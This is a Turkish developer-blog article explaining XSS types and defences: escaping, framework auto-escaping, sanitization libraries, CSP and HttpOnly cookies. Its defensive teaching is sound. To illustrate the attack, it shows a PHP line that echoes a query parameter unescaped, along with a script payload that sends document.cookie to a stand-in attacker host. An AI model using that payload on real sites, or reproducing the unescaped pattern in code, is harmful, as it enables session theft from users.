aslain.dev
0%
01 Hizmetler 02 Hakkımda 03 Projeler 04 Stack 05 Blog 06 İletişim
← Tüm makaleler Web Geliştirme

XSS Saldırısı Nedir ve Korunma Yöntemleri

XSS saldırısı (Cross-Site Scripting), bir saldırganın kullanıcının tarayıcısında çalışacak zararlı JavaScript kodunu güvendiğiniz bir web sayfasına enjekte etmesiyle ortaya çıkar. Sayfa sizin alan adınızda çalıştığı için bu kod, oturum çerezlerine, yerel depolamaya ve giriş yapmış kullanıcının yapabildiği her şeye erişebilir. Yıllardır OWASP'ın en kritik web zafiyetleri listesinde yer alan XSS, aslında tek bir temel hataya dayanır: kullanıcıdan gelen veriyi, kontrol etmeden HTML çıktısına gömmek.

XSS saldırısı tam olarak nasıl çalışır?

Bir web uygulaması, kullanıcının girdiği veriyi (arama terimi, yorum, profil adı) HTML'in içine olduğu gibi yazdığında sorun başlar. Tarayıcı, sayfaya gelen her şeyi ayrıştırır ve <script> gibi etiketleri çalıştırılacak kod olarak yorumlar. Saldırgan da tam bunu hedefler: veri alanına metin değil, kod yerleştirir.

Diyelim ki bir arama sayfası, sorguyu doğrudan ekrana basıyor:

<p>Arama sonucu: <?= $_GET['q'] ?></p>

Saldırgan q parametresine şunu koyarsa:

<script>fetch('https://kotu.site/c?'+document.cookie)</script>

tarayıcı bunu gerçek bir betik olarak çalıştırır ve kullanıcının çerezlerini saldırganın sunucusuna gönderir. Sorun, verinin metin olarak gösterilmesi gerekirken HTML olarak yorumlanmasıdır.

Reflected ve Stored XSS arasındaki fark

XSS'in üç ana türü vardır; en sık karşılaşılan ikisi reflected ve stored'dır.

  • Reflected (yansıtılan) XSS: Zararlı kod, isteğin bir parçası olarak (genelde URL'deki bir parametrede) gelir ve sunucu yanıtında anında geri yansıtılır. Saldırı kalıcı değildir; kurbanın hazırlanmış bir bağlantıya tıklaması gerekir. Phishing e-postaları ve kısaltılmış linkler bu türün başlıca taşıyıcısıdır.
  • Stored (depolanan) XSS: Zararlı kod veritabanına kaydedilir (örneğin bir yorum veya profil alanı) ve o sayfayı açan herkese sunulur. Tek bir enjeksiyon binlerce kullanıcıyı etkileyebileceği için reflected türünden daha tehlikelidir.
  • DOM-based XSS: Zafiyet sunucuda değil, istemci tarafındaki JavaScript'tedir; veri innerHTML gibi bir yere güvensizce yazıldığında oluşur.

Korunmanın temeli: output escaping

XSS'e karşı en güvenilir savunma, veriyi çıktı verirken bağlamına uygun şekilde escape etmektir. HTML gövdesine yazarken kritik karakterler zararsız karşılıklarına çevrilir:

  • <&lt;
  • >&gt;
  • &&amp;
  • "&quot;

Böylece <script> tarayıcıya kod değil, ekranda görünen düz metin olarak ulaşır. Saf PHP'de bunu htmlspecialchars ile yaparsınız:

<p>Arama sonucu: <?= htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8') ?></p>

Önemli olan, escaping'i doğru bağlamda yapmaktır. HTML özniteliği, JavaScript bloğu, URL ve CSS bağlamları farklı kaçış kuralları gerektirir. Verinin nereye gittiğine göre escaping uygulayın.

Modern framework'lerde otomatik escaping

İyi haber: çoğu modern şablon motoru çıktıyı varsayılan olarak escape eder. Laravel'in Blade motorunda {{ $variable }} ifadesi otomatik olarak htmlspecialchars uygular; ham HTML basmak için bilinçli olarak {!! $variable !!} yazmanız gerekir. React'te JSX içine konan değişkenler de varsayılan olarak escape edilir; tehlike yalnızca dangerouslySetInnerHTML kullandığınızda başlar.

Buradan çıkan kural nettir: ham HTML basan API'leri sadece gerçekten gerekliyse ve güvendiğiniz veriyle kullanın. Kullanıcı içeriğini asla bu yollardan geçirmeyin.

Kullanıcı HTML'i gerekiyorsa: sanitization

Bazen kullanıcının biçimlendirilmiş içerik (kalın yazı, link, liste) girmesine izin vermeniz gerekir. Bu durumda escaping işe yaramaz çünkü HTML'in çalışmasını istersiniz. Çözüm sanitization: içeriği güvenli etiketlerin beyaz listesinden geçirip <script>, onerror, javascript: gibi tehlikeli kısımları temizlemek.

Bunu kendiniz regex ile yazmaya çalışmayın; bu yol neredeyse her zaman atlatılabilir. Olgun kütüphaneler kullanın:

  • İstemci tarafında DOMPurify.
  • PHP tarafında HTML Purifier.

Bu araçlar yıllarca test edilmiş ayrıştırıcılarla çalışır ve bilinen tüm atlatma tekniklerine karşı güncellenir.

Ek savunma katmanları

Escaping birincil savunmadır, ama derinlemesine savunma için ekleyebileceğiniz katmanlar var:

  • Content Security Policy (CSP): Content-Security-Policy başlığıyla hangi kaynaklardan betik yüklenebileceğini kısıtlarsınız. Satır içi betikleri engelleyen bir politika, bir enjeksiyon kaçtığında bile zararı sınırlar.
  • HttpOnly çerezler: Oturum çerezini HttpOnly işaretleyince JavaScript ona erişemez, böylece çerez çalma saldırıları zorlaşır.
  • Girdi doğrulama: Beklenen formatı (e-posta, sayı, tarih) sunucuda doğrulamak saldırı yüzeyini daraltır — ancak escaping'in yerini tutmaz.

Sık Sorulan Sorular

Girdiyi temizlersem çıktıda escaping'e gerek kalır mı?

Evet, kalır. Girdi doğrulama yararlıdır ama tek başına yeterli değildir çünkü aynı veri farklı bağlamlarda (HTML, öznitelik, JavaScript) gösterilebilir. Asıl güvenlik, veriyi tam çıktı verdiğiniz noktada bağlamına göre escape etmekten gelir.

HTTPS kullanmak XSS'i engeller mi?

Hayır. HTTPS, veriyi taşınırken şifreler ve araya girmeyi engeller, ama XSS sayfanın kendi içinde çalışan koddur. Şifreli bir bağlantı zararlı betiğin çalışmasını engellemez.

Sadece statik sitem var, yine de risk altında mıyım?

Kullanıcı girdisini hiç işlemiyor, hiçbir yere yazdırmıyorsanız reflected/stored XSS riski çok düşüktür. Ancak yorum, arama veya üçüncü taraf widget'ı eklediğiniz an saldırı yüzeyi açılır.

Uygulamanızın XSS'e karşı dirençli olduğundan emin olmak mı istiyorsunuz? Güvenlik denetimi, escaping eksikleri ve CSP yapılandırması konusunda yardım için benimle iletişime geçin.

Bu kategorideki tüm yazılar →

Devamı için